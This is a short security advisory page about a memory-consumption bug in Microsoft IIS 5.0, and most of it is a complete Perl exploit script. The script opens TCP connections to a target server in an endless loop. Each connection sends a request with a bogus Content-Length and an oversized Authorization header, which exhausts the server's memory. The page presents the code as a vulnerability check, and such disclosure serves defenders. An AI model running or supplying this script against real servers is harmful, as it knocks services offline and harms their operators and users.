Brought to you by:
Suppliers of:
As we reported in our previous post: Microsoft IIS/5 Bogus Content-Length Memory Bug , a security vulnerability in IIS allows a remote attacker to cause the server to consume a large amount memory. The following is an exploit code that can be used to determine whether you are vulnerable or not.
Credit:
The information has been provided by Ivan Hernandez Puga .
Exploit:
# Written by Ivan Hernandez over code of Georgi Guninski
use IO::Socket;
print "IIS 5.0 Bogus Content-Length\n";
$port = @ARGV[1];
$host = @ARGV[0];
$req="GET /ampgn HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic " . "A" x 50000 . "\r\n\r\n";
$i=0;
while (1) {
$socket[$i] = IO::Socket::INET->new(PeerAddr =>
$host,PeerPort => $port,Proto => "TCP");
syswrite($socket[$i],$req,length($req));
print ".";
$i++;
}
$i=0;
print "\nDone.";
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by